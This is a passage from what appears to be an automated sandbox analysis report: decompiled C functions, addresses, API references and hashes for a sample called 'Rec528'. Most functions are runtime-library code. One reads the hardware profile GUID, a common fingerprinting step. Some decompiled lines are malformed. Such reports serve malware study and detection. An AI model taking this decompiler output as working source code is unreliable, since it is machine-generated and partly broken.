											_t386 = _t295[1];
											_t352 = _v12;
											_push(_v8 + 0x18);
										}
										E0040D980(_t352, _t386);
										_t353 =  *_t295;
										_t441 = _t431 + 8;
										if(_t353 == 0) {
											L17:
											 *_t295 = _t406;
											_t295[1] = _t406 + (_v24 + 1 + (_v24 + 1) * 2) * 8;
											_t295[2] = _t392 + _t406;
											return _v8;
										} else {
											_push(_t353);
											L75();
											_t305 =  *_t295;
											_t431 = _t441 + 4;
											_t361 = (0x2aaaaaab * (_v16[2] - _t305) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v16[2] - _t305) >> 0x20 >> 2) + ((0x2aaaaaab * (_v16[2] - _t305) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v16[2] - _t305) >> 0x20 >> 2)) * 2 << 3;
											if(_t361 < 0x1000) {
												L16:
												_push(_t361);
												E0040ED7F(_t305);
												_t295 = _v16;
												goto L17;
											} else {
												_t365 =  *(_t305 - 4);
												_t310 = _t361 + 0x23;
												_t295 = _t305 - _t365;
												if(_t295 - 4 > 0x1f) {
													goto L20;
												} else {
													_t305 = _t365;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
				}
				L88:
			}

0x0040cdd0
0x0040cdd1
0x0040cdd3
0x0040cdd9
0x0040cde1
0x0040cde2
0x0040cde4
0x0040cde7
0x0040cde8
0x0040cdeb
0x0040cdec
0x0040cdf8
0x0040cdfc
0x0040ce04
0x0040ce0e
0x0040ce16
0x0040ce18
0x0040ce20
0x0040cfa2
0x0040cfa2
0x00000000
0x0040ce26
0x0040ce29
0x0040ce42
0x0040ce46
0x0040ce4c
0x0040cf9d
0x0040cf9d
0x00000000
0x0040ce52
0x0040ce59
0x0040ce62
0x00000000
0x0040ce68
0x0040ce6b
0x0040ce74
0x0040ce9d
0x0040ce9f
0x0040ceae
0x0040ceae
0x0040cea1
0x0040cea2
0x0040cea7
0x0040ceaa
0x0040ceaa
0x00000000
0x0040ce76
0x0040ce76
0x0040ce76
0x0040ce79
0x0040ce7b
0x00000000
0x0040ce81
0x0040ce82
0x0040ce87
0x0040ce8c
0x0040cfa7
0x0040cfa7
0x0040cfac
0x0040cfad
0x0040cfae
0x0040cfaf
0x0040cfb0
0x0040cfb1
0x0040cfb3
0x0040cfb5
0x0040cfc0
0x0040cfc1
0x0040cfc4
0x0040cfc5
0x0040cfc6
0x0040cfc7
0x0040cfce
0x0040cfd2
0x0040cfd8
0x0040cfdb
0x0040cfdd
0x0040cfe3
0x0040cfe5
0x0040cfe8
0x0040cffc
0x0040d005
0x0040d00f
0x0040d017
0x0040d019
0x0040d01c
0x0040d021
0x0040d18d
0x0040d18d
0x00000000
0x0040d027
0x0040d02a
0x0040d043
0x0040d047
0x0040d04b
0x0040d04d
0x0040d188
0x0040d188
0x00000000
0x0040d053
0x0040d053
0x0040d058
0x0040d05a
0x0040d05d
0x0040d063
0x00000000
0x0040d069
0x0040d06c
0x0040d06f
0x0040d072
0x0040d075
0x0040d07a
0x0040d0a3
0x0040d0a5
0x0040d0b4
0x0040d0b4
0x0040d0a7
0x0040d0a8
0x0040d0ad
0x0040d0b0
0x0040d0b0
0x0040d0b6
0x00000000
0x0040d07c
0x0040d07c
0x0040d07c
0x0040d07f
0x0040d081
0x00000000
0x0040d087
0x0040d088
0x0040d08d
0x0040d090
0x0040d092
0x0040d192
0x0040d192
0x0040d19c
0x0040d1a7
0x0040d1b0
0x0040d1b5
0x0040d1b6
0x0040d1b7
0x0040d1b8
0x0040d1b9
0x0040d1ba
0x0040d1bb
0x0040d1bc
0x0040d1bd
0x0040d1be
0x0040d1bf
0x0040d1c0
0x0040d1c1
0x0040d1c3
0x0040d1c6
0x0040d1c7
0x0040d1c9
0x0040d1d0
0x0040d1d1
0x0040d1d2
0x0040d1d7
0x0040d1da
0x0040d1dd
0x0040d2e9
0x00000000
0x0040d1e3
0x0040d1e3
0x0040d1e9
0x0040d1ec
0x0040d1ef
0x0040d1f1
0x0040d1f9
0x0040d1fd
0x0040d1ff
0x0040d208
0x0040d20a
0x0040d20c
0x0040d201
0x0040d201
0x0040d201
0x0040d1f3
0x0040d1f3
0x0040d1f3
0x0040d21b
0x0040d21d
0x0040d223
0x0040d24f
0x0040d251
0x0040d263
0x0040d263
0x0040d253
0x0040d254
0x0040d259
0x0040d25c
0x0040d25f
0x0040d25f
0x00000000
0x0040d225
0x0040d225
0x0040d225
0x0040d228
0x0040d22a
0x0040d2ee
0x0040d2ee
0x00000000
0x0040d230
0x0040d231
0x0040d236
0x0040d239
0x0040d23b
0x0040d2f3
0x0040d2f3
0x0040d2f8
0x0040d2f9
0x0040d2fa
0x0040d2fb
0x0040d2fc
0x0040d2fd
0x0040d2fe
0x0040d2ff
0x0040d300
0x0040d301
0x0040d303
0x0040d304
0x0040d305
0x0040d307
0x0040d309
0x0040d30b
0x0040d357
0x0040d35a
0x0040d310
0x0040d310
0x0040d310
0x0040d313
0x0040d316
0x00000000
0x0040d318
0x0040d318
0x0040d31a
0x0040d31b
0x0040d321
0x0040d335
0x0040d335
0x0040d337
0x0040d33c
0x00000000
0x0040d323
0x0040d323
0x0040d326
0x0040d32e
0x0040d331
0x0040d35b
0x0040d360
0x0040d361
0x0040d362
0x0040d363
0x0040d364
0x0040d365
0x0040d366
0x0040d367
0x0040d368
0x0040d369
0x0040d36a
0x0040d36b
0x0040d36c
0x0040d36d
0x0040d36e
0x0040d36f
0x0040d370
0x0040d373
0x0040d374
0x0040d375
0x0040d377
0x0040d379
0x0040d37b
0x0040d3c7
0x0040d3ca
0x0040d380
0x0040d380
0x0040d380
0x0040d383
0x0040d386
0x00000000
0x0040d388
0x0040d388
0x0040d38a
0x0040d38b
0x0040d391
0x0040d3a5
0x0040d3a5
0x0040d3a7
0x0040d3ac
0x00000000
0x0040d393
0x0040d393
0x0040d396
0x0040d39e
0x0040d3a1
0x0040d3cb
0x0040d3d0
0x0040d3d1
0x0040d3d2
0x0040d3d3
0x0040d3d4
0x0040d3d5
0x0040d3d6
0x0040d3d7
0x0040d3d8
0x0040d3d9
0x0040d3da
0x0040d3db
0x0040d3dc
0x0040d3dd
0x0040d3de
0x0040d3df
0x0040d3e0
0x0040d3e2
0x0040d3e4
0x00000000
0x0040d3ea
0x0040d3ec
0x0040d3a3
0x0040d3a3
0x00000000
0x0040d3a3
0x0040d3a1
0x0040d391
0x00000000
0x0040d3af
0x0040d3af
0x0040d3b6
0x0040d3bd
0x0040d3c0
0x0040d3c3
0x0040d3c3
0x00000000
0x0040d380
0x0040d333
0x0040d333
0x00000000
0x0040d333
0x0040d331
0x0040d321
0x00000000
0x0040d33f
0x0040d33f
0x0040d346
0x0040d34d
0x0040d350
0x0040d353
0x0040d353
0x00000000
0x0040d310
0x0040d241
0x0040d241
0x0040d244
0x0040d247
0x0040d24a
0x0040d265
0x0040d265
0x0040d26c
0x0040d26f
0x0040d272
0x0040d273
0x0040d2c4
0x0040d2c5
0x0040d2c6
0x0040d2cb
0x0040d2d6
0x0040d2d9
0x0040d2df
0x0040d2e6
0x0040d275
0x0040d275
0x0040d277
0x0040d278
0x0040d279
0x0040d27e
0x0040d281
0x0040d28a
0x0040d28b
0x0040d28e
0x0040d293
0x0040d299
0x0040d2ad
0x0040d2ad
0x0040d2af
0x0040d2b7
0x0040d2c1
0x0040d29b
0x0040d29b
0x0040d29e
0x0040d2a1
0x0040d2a6
0x0040d2a9
0x00000000
0x0040d2ab
0x0040d2ab
0x00000000
0x0040d2ab
0x0040d2a9
0x0040d299
0x0040d273
0x0040d23b
0x0040d22a
0x0040d223
0x0040d098
0x0040d098
0x0040d09b
0x0040d09e
0x0040d0b9
0x0040d0bf
0x0040d0c2
0x0040d0cc
0x0040d0cf
0x0040d0d2
0x0040d0d7
0x0040d0da
0x0040d0df
0x0040d0e1
0x0040d0e4
0x0040d0e7
0x0040d0e8
0x0040d0e9
0x0040d0eb
0x0040d0ef
0x0040d0f4
0x0040d0f7
0x0040d0fa
0x0040d0fd
0x0040d0fd
0x0040d0fe
0x0040d103
0x0040d105
0x0040d108
0x0040d10a
0x0040d15a
0x0040d15e
0x0040d169
0x0040d16f
0x0040d16f
0x0040d171
0x0040d177
0x0040d185
0x0040d10c
0x0040d10f
0x0040d110
0x0040d11d
0x0040d11f
0x0040d133
0x0040d136
0x0040d13c
0x0040d150
0x0040d150
0x0040d152
0x00000000
0x0040d13e
0x0040d13e
0x0040d141
0x0040d144
0x0040d149
0x0040d14c
0x00000000
0x0040d14e
0x0040d14e
0x00000000
0x0040d14e
0x0040d14c
0x0040d13c
0x0040d10a
0x0040d092
0x0040d081
0x0040d07a
0x0040d063
0x0040d04d
0x0040ce92
0x0040ce92
0x0040ce95
0x0040ce98
0x0040ceb0
0x0040ceb3
0x0040ceb6
0x0040ceb9
0x0040cec0
0x0040cec3
0x0040ceca
0x0040ced1
0x0040ced4
0x0040ced7
0x0040ceda
0x0040cedf
0x0040cee4
0x0040cee7
0x0040ceee
0x0040cef5
0x0040cef8
0x0040cefa
0x0040cefd
0x0040cefe
0x0040cf01
0x0040cf05
0x0040cf0d
0x0040cf10
0x0040cf16
0x0040cf19
0x0040cf19
0x0040cf1a
0x0040cf1f
0x0040cf21
0x0040cf26
0x0040cf7c
0x0040cf80
0x0040cf8b
0x0040cf93
0x0040cf9a
0x0040cf28
0x0040cf2b
0x0040cf2c
0x0040cf39
0x0040cf3b
0x0040cf52
0x0040cf5b
0x0040cf6f
0x0040cf6f
0x0040cf71
0x0040cf76
0x00000000
0x0040cf5d
0x0040cf5d
0x0040cf60
0x0040cf63
0x0040cf6b
0x00000000
0x0040cf6d
0x0040cf6d
0x00000000
0x0040cf6d
0x0040cf6b
0x0040cf5b
0x0040cf26
0x0040ce8c
0x0040ce7b
0x0040ce74
0x0040ce62
0x0040ce4c
0x00000000

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0040CF9D

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1397ffc934538b626476cd493329b61344a12dd994907e9f2fbb1a93078e92e4
Instruction ID: 42a73b8cd40f08eae9db7075c415a157612d9f564d801a59de967a34d64779d4
Opcode Fuzzy Hash: 1397ffc934538b626476cd493329b61344a12dd994907e9f2fbb1a93078e92e4
Instruction Fuzzy Hash: FA51C271A00105CFCB0CDF5CC991AAEB7E6EF88300B14866ED806AF396D735EA15C795

Uniqueness

Uniqueness Score: -1.00%

Function 0041A9F1 Relevance: 1.6, APIs: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041AAA4

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 59e20a6d73741625aa60e7257ae5aeb68c6bd765af771a165dc67992aa078022
Instruction ID: d233c4eaac6dc4320f13e0444e48b2e862e70474e60c8a4cc461f4959c90e5e2
Opcode Fuzzy Hash: 59e20a6d73741625aa60e7257ae5aeb68c6bd765af771a165dc67992aa078022
Instruction Fuzzy Hash: 7131A076A016109F8B14CF6DC58089EB7F2FF8932072585A6E515EB360C334AC46CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00406760 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00406760(unsigned int __ebx, unsigned int* __ecx, void* __edi) {
				signed int _v8;
				struct tagHW_PROFILE_INFOA _v132;
				unsigned int* _v136;
				void* __esi;
				void* __ebp;
				signed int _t16;
				int _t19;
				signed int _t20;
				intOrPtr _t25;
				intOrPtr* _t36;
				void* _t43;
				unsigned int* _t45;
				signed int _t46;

				_t31 = __ecx;
				_t16 =  *0x43d054; // 0x298e9dc2
				_v8 = _t16 ^ _t46;
				_t45 = __ecx;
				_v136 = __ecx;
				_v136 = __ecx;
				_t19 = GetCurrentHwProfileA( &_v132); // executed
				if(_t19 == 0) {
					_t20 = E00417D76(_t31, __eflags);
					asm("cdq");
					E004055C0(_t45, _t20 % 0xa + 5);
					__eflags = _v8 ^ _t46;
					return E0040EB3F(_t45, __ebx, _v8 ^ _t46, _t20 % 0xa + 5, __edi, _t45);
				} else {
					_t36 =  &(_v132.szHwProfileGuid);
					 *_t45 = 0;
					 *((intOrPtr*)(_t45 + 0x10)) = 0;
					_t43 = _t36 + 1;
					 *((intOrPtr*)(_t45 + 0x14)) = 0xf;
					 *_t45 = 0;
					do {
						_t25 =  *_t36;
						_t36 = _t36 + 1;
					} while (_t25 != 0);
					E004026C0(__ebx, _t45,  &(_v132.szHwProfileGuid), _t36 - _t43);
					return E0040EB3F(_t45, __ebx, _v8 ^ _t46, _t43, __edi, _t45);
				}
			}

0x00406760
0x00406769
0x00406770
0x00406774
0x00406779
0x00406780
0x00406786
0x0040678e
0x004067d6
0x004067db
0x004067e8
0x004067f2
0x004067fd
0x00406790
0x00406790
0x00406793
0x00406799
0x004067a0
0x004067a3
0x004067aa
0x004067b0
0x004067b0
0x004067b2
0x004067b3
0x004067c0
0x004067d5
0x004067d5

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 00406786

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 7b617362b1cada53b484a7e50f6844af9204a4e76a0345a278f81f5a3944ce47
Instruction ID: 6af4a74c553faffd4ed34f540c5fb58e0fa2daee19e35746602b42ed4a7c5d3a
Opcode Fuzzy Hash: 7b617362b1cada53b484a7e50f6844af9204a4e76a0345a278f81f5a3944ce47
Instruction Fuzzy Hash: 2C11A530B00218CBDB24EF69D8557FEB7B9EF09308F4046AEE84697381DF7959098B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041E039 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0041E039(void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				void* _t26;

				E0041DE0F(__ecx,  &_v32, _a8);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				if(_v12 == 0) {
					L3:
					return 0;
				} else {
					_t26 = E0042861E( &_v8, _a4, _v20, _a12, 0x180); // executed
					if(_t26 != 0) {
						goto L3;
					} else {
						 *0x45061c =  *0x45061c + 1;
						asm("lock or [eax], ecx");
						 *((intOrPtr*)(_a16 + 8)) = 0;
						 *((intOrPtr*)(_a16 + 0x1c)) = 0;
						 *((intOrPtr*)(_a16 + 4)) = 0;
						 *_a16 = 0;
						 *((intOrPtr*)(_a16 + 0x10)) = _v8;
						return _a16;
					}
				}
			}

0x0041e04a
0x0041e056
0x0041e057
0x0041e058
0x0041e05f
0x0041e0b8
0x0041e0bb
0x0041e061
0x0041e073
0x0041e07d
0x00000000
0x0041e07f
0x0041e082
0x0041e08e
0x0041e096
0x0041e09c
0x0041e0a2
0x0041e0a8
0x0041e0b0
0x0041e0b7
0x0041e0b7
0x0041e07d

APIs

__wsopen_s.LIBCMT ref: 0041E073

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: d4cc4cf86e9e065f416ef9d63789a222c11f165fcbbbb45fb3f736e95baad7dc
Instruction ID: bd239f600e32680d44d390715ce2ceb55c4993d9d37c0227420fd10ede5275c9
Opcode Fuzzy Hash: d4cc4cf86e9e065f416ef9d63789a222c11f165fcbbbb45fb3f736e95baad7dc
Instruction Fuzzy Hash: 5F111575A0420AAFCF05DF59E9419DF7BF5EF48304F04406AF809AB352D670EA25CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041ECAF Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041ECAF(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E00413571(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x450ce0, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E0041C651();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E0041A08C(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x0041ecb5
0x0041ecbb
0x0041eced
0x0041ecf2
0x0041ecf8
0x00000000
0x0041ecf8
0x0041ecbf
0x0041ecc1
0x0041ecc1
0x0041ecd8
0x0041ece1
0x0041ece9
0x00000000
0x00000000
0x0041ecc9
0x0041eccb
0x00000000
0x00000000
0x0041ecd4
0x0041ecd6
0x00000000
0x00000000
0x0041ecd6
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF1B,?,?,?,?,?,00403757,?,?,?), ref: 0041ECE1

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5231c26b2e5400a8b445dea9dc5c14e3c1ee74f90dcd341e6a6c6bc4848ff768
Instruction ID: 433635af7a13910e1ced143a486ef80bcade6400672ce29434cd2295681cad25
Opcode Fuzzy Hash: 5231c26b2e5400a8b445dea9dc5c14e3c1ee74f90dcd341e6a6c6bc4848ff768
Instruction Fuzzy Hash: 73E0653964122097E621267B9D00BDB7E59BB417A5F150127FC05962D1EA6DCCC181EE

Uniqueness

Uniqueness Score: -1.00%

Function 1000797E Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000797E(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E100058B6(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x10018120, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E1000A85E();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E10005A7D(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x10007984
0x1000798a
0x100079bc
0x100079c1
0x100079c7
0x00000000
0x100079c7
0x1000798e
0x10007990
0x10007990
0x100079a7
0x100079b0
0x100079b8
0x00000000
0x00000000
0x10007998
0x1000799a
0x00000000
0x00000000
0x100079a3
0x100079a5
0x00000000
0x00000000
0x100079a5
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,10001F3C,?,?,100026E9,10001F3C,?,10001F3C,0007A120), ref: 100079B0

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 41353e0b5b14e6947e7b84ef9c479746a73b7095d09373ad233c4efc719be286
Instruction ID: 8ae1d9aeb8dca28a6c57acb355fc0b14e875e93249a4ab3e943a6d052c0edab9
Opcode Fuzzy Hash: 41353e0b5b14e6947e7b84ef9c479746a73b7095d09373ad233c4efc719be286
Instruction Fuzzy Hash: C3E06535E0152166FA11E6659D01B4B3A89FF426F0F124124FD4896199EF69DD0082F2

Uniqueness

Uniqueness Score: -1.00%

Function 004282F7 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004282F7(WCHAR* _a4, struct _SECURITY_ATTRIBUTES* _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
				void* _t10;

				_t10 = CreateFileW(_a4, _a16, _a24, _a8, _a20, _a28 | _a32, 0); // executed
				return _t10;
			}

0x00428314
0x0042831b

APIs

CreateFileW.KERNEL32(00000000,00000000,?,004286E7,?,?,00000000,?,004286E7,00000000,0000000C), ref: 00428314

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b718aefa274249b92c0224c2ff73fbbbd694e56a9348850d4764fd55e00e249d
Instruction ID: 6a3501348c7adacfcd1c424c20773ecf10769bdff7a35cf21c7a2e113d4d802e
Opcode Fuzzy Hash: b718aefa274249b92c0224c2ff73fbbbd694e56a9348850d4764fd55e00e249d
Instruction Fuzzy Hash: 19D06C3210014DFBDF128F85DC06EDA3BAAFB48714F014010BA1856060C772E822AB95

Uniqueness

Uniqueness Score: -1.00%

Function 10005B84 Relevance: 1.5, APIs: 1, Instructions: 11
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10005B84(intOrPtr _a4) {
				intOrPtr _v8;
				void* _t5;

				_v8 = 0;
				_t5 = E100079CC(_a4); // executed
				return _t5;
			}

0x10005b8d
0x10005b97
0x10005b9e

APIs

_free.LIBCMT ref: 10005B97

Part of subcall function 100079CC: RtlFreeHeap.NTDLL(00000000,00000000,?,10006680), ref: 100079E2
Part of subcall function 100079CC: GetLastError.KERNEL32(?,?,10006680), ref: 100079F4

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction ID: 71677ea853f53e0e4ddb9aac9ecc9536995eaabd0c95d75e6f2dc2d28cb494ef
Opcode Fuzzy Hash: d102fdbbc19008656020672b0513dbd0600b00c460041e1c03a0ef10da910664
Instruction Fuzzy Hash: 61C04C75500208BBDF05DB45D906A4E7FA9EB812A8F604054F41957251DAB5EE449690

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA0 Relevance: 1.3, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402EA0(void* _a4, long _a8, long _a12, long _a16) {
				void* _t5;

				_t5 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
				return _t5;
			}

0x00402eaf
0x00402eb6

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402EAF

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 213a422f90c8c6353df42cf4beb6bca1ece7b85540c8c8c994e7d48a5d8c3a30
Instruction ID: b31a385f3b57fd4fd7166e142863b1bbbb6af29b0bf7193fe4047b5eb220286a
Opcode Fuzzy Hash: 213a422f90c8c6353df42cf4beb6bca1ece7b85540c8c8c994e7d48a5d8c3a30
Instruction Fuzzy Hash: CAC0483200020DFBCF025F82EC048DA3F2AFB08261B408024FA1C04030C7739972ABAA

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC0 Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402EC0(void* _a4, long _a8, long _a12) {
				int _t4;

				_t4 = VirtualFree(_a4, _a8, _a12); // executed
				return _t4;
			}

0x00402ecc
0x00402ed3

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402ECC

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9e517827ee14b2795f6c39b1ac259b67fb15a98946d76ce23e4192bd4712f48a
Instruction ID: bdb844541333acea6d7cc9b38086a4600084955ffe6c4e25b5f0fe259d46e886
Opcode Fuzzy Hash: 9e517827ee14b2795f6c39b1ac259b67fb15a98946d76ce23e4192bd4712f48a
Instruction Fuzzy Hash: E4B0483200020CBB8F021F82EC048993F2AFB08260B448420FA180502087729522AB84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00426D1F Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E00426D1F(void* __ecx, void* __edx, void* __eflags, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t77;
				intOrPtr* _t84;
				short* _t86;
				void* _t88;
				intOrPtr* _t91;
				intOrPtr* _t95;
				short _t113;
				void* _t114;
				intOrPtr* _t116;
				intOrPtr _t119;
				signed int* _t120;
				void* _t121;
				intOrPtr* _t123;
				signed short _t125;
				int _t127;
				void* _t128;
				void* _t131;
				signed int _t132;

				_push(__ecx);
				_push(__ecx);
				_t84 = _a4;
				_t33 = E0041CAE3(__ecx, __edx);
				_t113 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t123 = _t3;
				_t4 = _t123 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t123 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t123 + 4; // 0x54
				_t116 = _t6;
				_v8 = _t34;
				_t91 = _t84;
				_t35 = _t84 + 0x80;
				 *_t123 = _t84;
				 *_t116 = _t35;
				if( *_t35 != 0) {
					E00426CB2(0x4328d0, 0x16, _t116);
					_t91 =  *_t123;
					_t131 = _t131 + 0xc;
					_t113 = 0;
				}
				_push(_t123);
				if( *_t91 == _t113) {
					E00426623(_t84, _t91);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t116)) == _t113) {
						E00426743();
					} else {
						E004266AA(_t91);
					}
					if( *((intOrPtr*)(_t123 + 8)) == 0) {
						_t77 = E00426CB2("\xef\xbf\xbd)C", 0x40,						_t131 = _t131 + 0xc;
						if(_t77 != 0) {
							_push(_t123);
							if( *((intOrPtr*)( *_t116)) == 0) {
								E00426743();
							} else {
								E004266AA(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t123 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t84 + 0x100;
					if( *_t84 != 0 ||  *_t38 != 0) {
						_t39 = E00426B6F(_t38, _t123);
					} else {
						_t39 = GetACP();
					}
					_t125 = _t39;
					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
